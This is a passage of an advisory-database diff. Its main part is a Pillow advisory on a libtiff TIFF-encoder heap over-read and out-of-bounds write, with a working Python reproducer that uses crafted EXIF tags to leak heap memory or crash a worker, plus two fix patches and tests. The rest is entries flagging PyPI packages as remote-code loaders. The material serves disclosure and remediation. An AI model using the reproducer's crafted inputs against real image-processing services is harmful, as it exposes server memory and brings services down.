stale-geometry-from-the-file-itself form dates from `1b70a4c6b515` (\"Use TIFF orientation\", 2019-09-13, first in 6.2.0), which added the transpose on load.\n\n## Impact\n\nAffected are applications that write TIFF output from user-supplied images through libtiff. Through the source-IFD `SamplesPerPixel` route nothing more is needed than `Image.open(f).save(out, \"TIFF\")` (format normalisation) on a crafted palette TIFF: `Compression`, `SamplesPerPixel` and `Predictor` are all inherited from the upload, so the uploader chooses between heap corruption / worker abort (`Predictor = 2`) and a normally-returning save whose output carries `width` bytes of the worker's heap per row. The `exif=` / `tiffinfo=` routes cover applications that convert to compressed TIFF while carrying the metadata across — `im.save(..., \"TIFF\", compression=\"tiff_lzw\"|\"tiff_adobe_deflate\"|\"packbits\"|\"jpeg\"|…, exif=im.getexif())`, `exif=im.info[\"exif\"]`, or `tiffinfo=` built from the source file's tags. Neither option is a default, but both are ordinary settings for archival/print/scan pipelines and the idiom used in Pillow's own tests. The uploader then chooses the outcome through a few EXIF shorts: a small `SamplesPerPixel` (with a matching `Photometric` so the result is a valid RGB/CMYK TIFF) returns `(spp-1) × width` bytes of process heap per image row inside the produced file — for a 4000-pixel-wide upload that is 8 KB of heap per row, megabytes per file, readable with any TIFF decoder and containing allocator metadata, pointers (ASLR defeat) and whatever other requests left in freed memory; a large `ImageWidth` kills the worker with SIGSEGV; `ImageWidth`/`ImageLength` larger than the (transposed or thumbnailed) image together with `Predictor = 2` writes `(declared_width − real_width) × bytes_per_pixel` bytes past a small fresh `calloc` block on every row — the values written are byte-wise differences of the existing heap contents, so the attacker controls extent and repetition but not directly the data; the observed result is heap corruption and abort of the whole worker, exploitation beyond that is not demonstrated. Because `ImageWidth`/`ImageLength` are routinely present in IFD0 of camera and scanner output, a benign photo that is resized before such a save also over-reads (its EXIF still describes the original width), so the crash variant can occur without an attacker.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow and only its public API; no rebuild is needed. It runs in well under a second.\n\nIt builds the attacker's input in memory: a 64x4 JPEG in mode `L` with every pixel set to 0x11, plus a chosen set of EXIF IFD0 tags. It then runs the metadata-preserving conversion an application would do:\n\n```python\nim = Image.open(io.BytesIO(jpeg))\nim.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n```\n\nFinally it re-opens the TIFF that comes out. There are three cases:\n\n- **control**: the EXIF holds only `Software`. The output is a 64x4 `L` TIFF whose 256 bytes are all 0x11. The verdict can only be `BUG` if this holds.\n- **leak**: the EXIF holds `SamplesPerPixel=3, PhotometricInterpretation=RGB`. libtiff now treats each scanline as 192 bytes, but the row buffer only holds 64 bytes. The save still succeeds and the output is a 64x4 **`RGB`** TIFF. In each 192-byte row, the first 64 bytes are the image (0x11). The other 128 bytes are whatever sat in the heap after the 64-byte row buffer.\n - The script hex-dumps row 0's extra bytes. They include x86-64 pointers such as `…e06c297e677f0000`, which change from run to run because of ASLR.\n - It also counts the extra bytes that are neither 0x11 nor 0x00, since those could not have come from the image or from zero padding. On the stock build this is a few hundred of the 512 bytes (200–310 in our runs).\n- **crash**: the EXIF holds `ImageWidth=2**27`. The script re-runs itself as a child process (`repro crash`) with core dumps disabled. libtiff tries to read 128 MiB out of the 64-byte buffer, and the child dies with SIGSEGV (exit code -11).\n\nExpected output on the stock build (the heap bytes and the count vary):\n\n```\ncontrol: L (64, 4), all bytes 0x11: True\nleak: RGB (64, 4)\n first 64 bytes of each row are the image (0x11): True\n row 0, bytes 64..192 (past the row buffer):\n 0000000000000000310000000000000090e5b50669550000e06c297e677f0000\n 0000000001007900007b8804d80c0d8830000000000000001007000000000000\n 0100000000000000801a897e677f0000240300000000000030444a7d677f0000\n 4095487d677f0000885f897e677f000003000001010000000000000000000000\n 220 of 512 bytes past the row buffers are neither 0x11 nor 0x00\ncrash: child exit code -11 (SIGSEGV)\nBUG\n```\n\nThe last line is `BUG` if the control is clean and the leak case produced foreign bytes, the crash case died with SIGSEGV/SIGBUS, or both. Otherwise it is `OK`.\n\nWith either attached patch applied and rebuilt, the script prints:\n\n```\ncontrol: L (64, 4), all bytes 0x11: True\nleak: output is not a readable image (no over-read)\ncrash: child exit code 0 (no signal)\nOK\n```\n\nIn the leak case, the fixed build writes the image's real single sample per pixel but keeps the supplied `Photometric=RGB`. Pillow will not open a TIFF like that.\n\nThe out-of-bounds write variant is the three-line `Orientation=6, Predictor=2` snippet in Details (SIGABRT, `free(): invalid next size (fast)` on the stock build); for a file:line stack run it under valgrind on a `-g` build of the extensions.\n\n## Suggested fix\n\nTwo alternative patches are attached. Patch 2 is the Python-only subset of patch 1; patch 1 also hardens the C encoder.\n\n**Attached patch 1** (`src/PIL/TiffImagePlugin.py`, `src/libImaging/TiffDecode.c`) does two independent things:\n\n1. `src/PIL/TiffImagePlugin.py:1955` — the libtiff branch already pre-seeds `atts` with `BITSPERSAMPLE` so that no supplied tag can replace it. The patch extends that to the other tags that determine libtiff's scanline size, taken from the image being saved:\n\n```diff\n- atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+ atts: dict[int, Any] = {\n+ BITSPERSAMPLE: bits[0],\n+ SAMPLESPERPIXEL: len(bits),\n+ IMAGEWIDTH: im.size[0],\n+ IMAGELENGTH: im.size[1],\n+ PLANAR_CONFIGURATION: 1,\n+ }\n```\n\n Doing it here rather than in the IFD built at 1749–1772 leaves the raw-writer behaviour exercised by `test_tiff_chunks` untouched, and because the merge loop visits `ifd` and `supplied_tags` only for tags not already in `atts`, it closes the `exif=`, `tiffinfo=` and source-IFD (`im.tag_v2`) routes alike. A supplied `PHOTOMETRIC_INTERPRETATION` still reaches the file (so EXIF `{277:3, 262:2}` now yields a 1-sample \"RGB\" TIFF that Pillow refuses to open); whether to force it to the mode's value is a format decision that no longer affects memory safety. For the re-saved `PX` palette case it may also be worth dropping the source's `EXTRASAMPLES` from `supplied_tags` (meaningless once the extra channel was discarded on load), as is already done for the planar case at `:1783-1788`, so the output is a self-consistent 1-sample palette file.\n\n2. `src/libImaging/TiffDecode.c`, `ImagingLibTiffEncode` — before the scanline loop, it refuses any configuration in which libtiff would read more than the packer produced, so the encoder stays safe regardless of where tags come from:\n\n```c\n if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {\n state->errcode = IMAGING_CODEC_CONFIG;\n ImagingLibTiffEncodeCleanup(state);\n clientstate->tiff = NULL;\n if (!clientstate->fp) {\n free(clientstate->data);\n }\n return -1;\n }\n```\n\n The same cleanup is applied to the existing `TIFFWriteScanline` error path. For in-memory output, that path currently frees `clientstate->data` but leaves `clientstate->tiff` set, so the later `ImagingLibTiffEncodeCleanup` → `TIFFClose` → `TIFFFlush` writes into the freed buffer. Both error paths now close the TIFF before the data is freed. The `TIFFFlush` failure branch further down (`src/libImaging/TiffDecode.c:1056`) has the same pattern and is left as it is.\n\n**Attached patch 2** (`src/PIL/TiffImagePlugin.py` only) is step 1 above without the C changes, for maintainers who prefer not to touch the encoder. It closes every public-API route (`exif=`, `tiffinfo=`, a resized or transposed image's carried-over EXIF/`tag_v2`) by which these tags reach `TIFFSetField`. `ImagingLibTiffEncode` still trusts its tag list, though, and the error-path use-after-free described above stays as it is.\n\nBoth patches add `Tests/test_file_libtiff.py::test_geometry_tags`, parametrised over oversized `IMAGEWIDTH`/`IMAGELENGTH`, `SAMPLESPERPIXEL=3` and `PLANAR_CONFIGURATION=2`. With either patch applied to a clean checkout and rebuilt, `repro` prints `OK`, the `Predictor = 2` snippet in Details saves a 4×64 image normally, and the existing TIFF test suites still pass.\n\n## The patch (1 of 2)\n\nTake libtiff scanline geometry tags from the image, not tiffinfo/exif, and make ImagingLibTiffEncode reject a scanline larger than its row buffer\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..36fe5f6b9 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):\n with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n im.save(out, tiffinfo=ifd)\n \n+ @pytest.mark.parametrize(\n+ \"tiffinfo\",\n+ (\n+ {TiffImagePlugin.IMAGEWIDTH: 1 << 27},\n+ {TiffImagePlugin.IMAGELENGTH: 1 << 27},\n+ {TiffImagePlugin.SAMPLESPERPIXEL: 3},\n+ {TiffImagePlugin.PLANAR_CONFIGURATION: 2},\n+ ),\n+ )\n+ def test_geometry_tags(\n+ self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+ ) -> None:\n+ # The geometry of the image is used, not the geometry from tiffinfo.\n+ # Otherwise libtiff would read past the end of the row buffer.\n+ monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+ out = tmp_path / \"temp.tif\"\n+ im = hopper(\"L\")\n+ im.save(out, tiffinfo=tiffinfo)\n+\n+ assert_image_equal_tofile(im, out)\n+\n def test_inknames_tag(\n self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n ) -> None:\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..aa0895966 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n ]\n \n # bits per sample is a single short in the tiff directory, not a list.\n- atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+ # The tags that determine the size of a scanline are taken from the image,\n+ # not from tiffinfo/exif: libtiff reads a scanline of the size that they\n+ # describe from a buffer that holds one row of the image.\n+ atts: dict[int, Any] = {\n+ BITSPERSAMPLE: bits[0],\n+ SAMPLESPERPIXEL: len(bits),\n+ IMAGEWIDTH: im.size[0],\n+ IMAGELENGTH: im.size[1],\n+ PLANAR_CONFIGURATION: 1,\n+ }\n # Merge the ones that we have with (optional) more bits from\n # the original file, e.g x,y resolution so that we can\n # save(load('')) == original file.\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..6570666fc 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -1023,6 +1023,23 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt\n dump_state(clientstate);\n \n if (state->state == 0) {\n+ // state->buffer holds one row of the image, but TIFFWriteScanline reads\n+ // a scanline of the size described by the IMAGEWIDTH, SAMPLESPERPIXEL\n+ // and BITSPERSAMPLE tags, so these must not describe a larger row.\n+ if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {\n+ TRACE((\"Scanline size exceeds the row buffer\\n\"));\n+ state->errcode = IMAGING_CODEC_CONFIG;\n+\n+ // Closing the tiff flushes it into clientstate->data, so do that\n+ // before the data is freed, rather than in the encoder cleanup.\n+ ImagingLibTiffEncodeCleanup(state);\n+ clientstate->tiff = NULL;\n+ if (!clientstate->fp) {\n+ free(clientstate->data);\n+ }\n+ return -1;\n+ }\n+\n TRACE((\"Encoding line by line\"));\n while (state->y < state->ysize) {\n state->shuffle(\n@@ -1038,10 +1055,9 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt\n TRACE((\"Encode Error, row %d\\n\", state->y));\n state->errcode = IMAGING_CODEC_BROKEN;\n \n- if (clientstate->fp) {\n- TIFFCleanup(tiff);\n- clientstate->tiff = NULL;\n- } else {\n+ ImagingLibTiffEncodeCleanup(state);\n+ clientstate->tiff = NULL;\n+ if (!clientstate->fp) {\n free(clientstate->data);\n }\n return -1;\n```\n\n## The patch (2 of 2)\n\nTake libtiff scanline geometry tags (width, length, samples per pixel, planar config) from the image being saved instead of tiffinfo/exif\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..36fe5f6b9 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):\n with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n im.save(out, tiffinfo=ifd)\n \n+ @pytest.mark.parametrize(\n+ \"tiffinfo\",\n+ (\n+ {TiffImagePlugin.IMAGEWIDTH: 1 << 27},\n+ {TiffImagePlugin.IMAGELENGTH: 1 << 27},\n+ {TiffImagePlugin.SAMPLESPERPIXEL: 3},\n+ {TiffImagePlugin.PLANAR_CONFIGURATION: 2},\n+ ),\n+ )\n+ def test_geometry_tags(\n+ self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+ ) -> None:\n+ # The geometry of the image is used, not the geometry from tiffinfo.\n+ # Otherwise libtiff would read past the end of the row buffer.\n+ monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+ out = tmp_path / \"temp.tif\"\n+ im = hopper(\"L\")\n+ im.save(out, tiffinfo=tiffinfo)\n+\n+ assert_image_equal_tofile(im, out)\n+\n def test_inknames_tag(\n self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n ) -> None:\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..aa0895966 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n ]\n \n # bits per sample is a single short in the tiff directory, not a list.\n- atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+ # The tags that determine the size of a scanline are taken from the image,\n+ # not from tiffinfo/exif: libtiff reads a scanline of the size that they\n+ # describe from a buffer that holds one row of the image.\n+ atts: dict[int, Any] = {\n+ BITSPERSAMPLE: bits[0],\n+ SAMPLESPERPIXEL: len(bits),\n+ IMAGEWIDTH: im.size[0],\n+ IMAGELENGTH: im.size[1],\n+ PLANAR_CONFIGURATION: 1,\n+ }\n # Merge the ones that we have with (optional) more bits from\n # the original file, e.g x,y resolution so that we can\n # save(load('')) == original file.\n```\n\n## The reproducer\n\n
\nReproducer — repro, 4,352 bytes (click to open)\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nHeap over-read in Pillow's libtiff encoder, driven by EXIF tags of an uploaded file.\n\nAn application converts an uploaded JPEG to compressed TIFF and keeps its metadata:\n\n im.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n\nTiffImagePlugin._save forwards the EXIF's ImageWidth (256) / SamplesPerPixel (277) to\nlibtiff, so libtiff's scanline size follows the EXIF, while the row buffer that\nImagingLibTiffEncode hands to TIFFWriteScanline (src/libImaging/TiffDecode.c:1035) is\nsized from the real image (src/encode.c:291). libtiff reads past the end of it.\n\n control EXIF {Software} -> 64x4 \"L\" TIFF, every byte 0x11\n leak EXIF {SamplesPerPixel=3, Photometric=RGB}\n -> 64x4 \"RGB\" TIFF: 64 image bytes + 128\n bytes of process heap in every row\n crash EXIF {ImageWidth=2**27} -> libtiff reads 128 MiB from a 64-byte\n buffer: SIGSEGV\n\"\"\"\nimport io\nimport resource\nimport signal\nimport subprocess\nimport sys\n\nfrom PIL import Image, UnidentifiedImageError\n\nW, H, GREY = 64, 4, 0x11\n\n\ndef uploaded_jpeg(exif_tags):\n \"\"\"The attacker's file: a 64x4 solid-grey JPEG whose EXIF IFD0 holds exif_tags.\"\"\"\n exif = Image.Exif()\n exif.update(exif_tags)\n buf = io.BytesIO()\n Image.new(\"L\", (W, H), GREY).save(buf, \"JPEG\", quality=100, exif=exif.tobytes())\n return buf.getvalue()\n\n\ndef convert_to_tiff(jpeg):\n \"\"\"The application: metadata-preserving conversion to LZW TIFF.\n\n Returns the resulting TIFF re-opened, or None if Pillow cannot read it back.\"\"\"\n im = Image.open(io.BytesIO(jpeg))\n out = io.BytesIO()\n im.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n try:\n return Image.open(out)\n except UnidentifiedImageError:\n return None\n\n\nif sys.argv[1:] == [\"crash\"]:\n # Child process for the crash case (see the end of the script).\n convert_to_tiff(uploaded_jpeg({256: 1 << 27})) # ImageWidth = 2**27\n sys.exit(0)\n\n\n# --- Control: EXIF without geometry tags converts cleanly ----------------------------\ntiff = convert_to_tiff(uploaded_jpeg({305: \"control\"})) # Software\ncontrol_clean = (tiff.mode, tiff.size) == (\"L\", (W, H)) and set(tiff.tobytes()) == {GREY}\nprint(f\"control: {tiff.mode} {tiff.size}, all bytes 0x{GREY:02x}: {control_clean}\")\n\n\n# --- Leak: EXIF says 3 samples per pixel, so libtiff reads 3*64 bytes per row --------\n# from the 64-byte row buffer. Everything past byte 64 of each row is not image data.\ntiff = convert_to_tiff(uploaded_jpeg({277: 3, 262: 2})) # SamplesPerPixel, Photometric=RGB\nleaked = False\nif tiff is None:\n # A fixed build writes the image's real 1 sample per pixel, and Pillow will not\n # open a 1-sample \"RGB\" TIFF: nothing was read past the row buffer.\n print(\"leak: output is not a readable image (no over-read)\")\nelse:\n pixels = tiff.tobytes()\n row = W * 3\n image_part = b\"\".join(pixels[y * row : y * row + W] for y in range(H))\n beyond = b\"\".join(pixels[y * row + W : (y + 1) * row] for y in range(H))\n # Bytes that are neither the image's grey nor zero padding can only be heap contents.\n foreign = sum(b not in (GREY, 0) for b in beyond)\n print(f\"leak: {tiff.mode} {tiff.size}\")\n print(f\" first {W} bytes of each row are the image (0x{GREY:02x}): \"\n f\"{set(image_part) == {GREY}}\")\n print(f\" row 0, bytes {W}..{row} (past the row buffer):\")\n for i in range(W, row, 32):\n print(\" \" + pixels[i : i + 32].hex())\n print(f\" {foreign} of {len(beyond)} bytes past the row buffers are neither \"\n f\"0x{GREY:02x} nor 0x00\")\n leaked = foreign > 0\n\n\n# --- Crash: EXIF says the image is 2**27 pixels wide ---------------------------------\nchild = subprocess.run(\n [sys.executable, __file__, \"crash\"],\n preexec_fn=lambda: resource.setrlimit(resource.RLIMIT_CORE, (0, 0)), # no core file\n capture_output=True,\n)\ncrashed = child.returncode in (-signal.SIGSEGV, -signal.SIGBUS)\noutcome = signal.Signals(-child.returncode).name if child.returncode < 0 else \"no signal\"\nprint(f\"crash: child exit code {child.returncode} ({outcome})\")\n\n\nprint(\"BUG\" if control_clean and (leaked or crashed) else \"OK\")\n```\n
","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"last_known_affected_version_range":"<= 12.3.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xcvg-w56q-r89m/GHSA-xcvg-w56q-r89m.json"}}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xcvg-w56q-r89m"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/53318b50e8e9e85a57d033d4d879e1398d97aeb1"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/ec5f1cbcf67275641abaad5c065ffb64a0a804a9"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"database_specific":{"cwe_ids":["CWE-787"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:34:43Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19179.json b/data/PyPI/MAL-2026-19179.json new file mode 100644 index 0000000000..61fda3c6f1 --- /dev/null +++ b/data/PyPI/MAL-2026-19179.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19179","published":"2026-11-12T20:35:05Z","modified":"2026-11-12T21:15:13.349016789Z","summary":"Malicious code in eulaliatts (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (26264ebade1f8ffae1a24c93ad17e82008b388609927b61132f46bbca94159ff)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"eulaliatts","ecosystem":"PyPI","purl":"pkg:pypi/eulaliatts"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/eulaliatts/MAL-2026-19179.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/eulaliatts"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/eulaliatts","import_time":"2026-11-12T21:10:27.197530054Z","modified_time":"2026-11-12T20:40:35.956939Z","sha256":"26264ebade1f8ffae1a24c93ad17e82008b388609927b61132f46bbca94159ff","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19180.json b/data/PyPI/MAL-2026-19180.json new file mode 100644 index 0000000000..af927a74c4 --- /dev/null +++ b/data/PyPI/MAL-2026-19180.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19180","published":"2026-11-12T20:50:21Z","modified":"2026-11-12T21:15:14.315553603Z","summary":"Malicious code in evalometer (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (5311054d0bb8bc91f2121df374d526ca42459a664f15198eeeee4133cacf6941)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"evalometer","ecosystem":"PyPI","purl":"pkg:pypi/evalometer"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/evalometer/MAL-2026-19180.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/evalometer"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/evalometer","import_time":"2026-11-12T21:10:27.202886736Z","modified_time":"2026-11-12T20:50:21.708013Z","sha256":"5311054d0bb8bc91f2121df374d526ca42459a664f15198eeeee4133cacf6941","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19181.json b/data/PyPI/MAL-2026-19181.json new file mode 100644 index 0000000000..fe9ede8554 --- /dev/null +++ b/data/PyPI/MAL-2026-19181.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19181","published":"2026-11-12T20:51:37Z","modified":"2026-11-12T21:15:13.348522423Z","summary":"Malicious code in ferrotts (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (b9cf8d8b5adcccc1d9d9b99d8148dee71751f256afb19962e88fa58cbc8ad71a)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"ferrotts","ecosystem":"PyPI","purl":"pkg:pypi/ferrotts"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/ferrotts/MAL-2026-19181.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/ferrotts"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/ferrotts","import_time":"2026-11-12T21:10:27.204088178Z","modified_time":"2026-11-12T20:51:37.574633Z","sha256":"b9cf8d8b5adcccc1d9d9b99d8148dee71751f256afb19962e88fa58cbc8ad71a","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19182.json b/data/PyPI/MAL-2026-19182.json new file mode 100644 index 0000000000..c7c3affbef --- /dev/null +++ b/data/PyPI/MAL-2026-19182.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19182","published":"2026-11-12T20:51:14Z","modified":"2026-11-12T21:15:14.317581925Z","summary":"Malicious code in flowmetry (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (3cd9c2027e6d2cd6df943297bb9304a6190ad887bc70ae8477ee81697006b889)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"flowmetry","ecosystem":"PyPI","purl":"pkg:pypi/flowmetry"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/flowmetry/MAL-2026-19182.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/flowmetry"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/flowmetry","import_time":"2026-11-12T21:10:27.204759687Z","modified_time":"2026-11-12T20:51:14.932957Z","sha256":"3cd9c2027e6d2cd6df943297bb9304a6190ad887bc70ae8477ee81697006b889","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19183.json b/data/PyPI/MAL-2026-19183.json new file mode 100644 index 0000000000..05eb10c4e3 --- /dev/null +++ b/data/PyPI/MAL-2026-19183.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19183","published":"2026-11-12T20:50:50Z","modified":"2026-11-12T21:15:14.318897284Z","summary":"Malicious code in garviscope (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (b9a85e3733b61731415cd2c00077af90475fd10d79833c025013a7f0b966ef15)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious 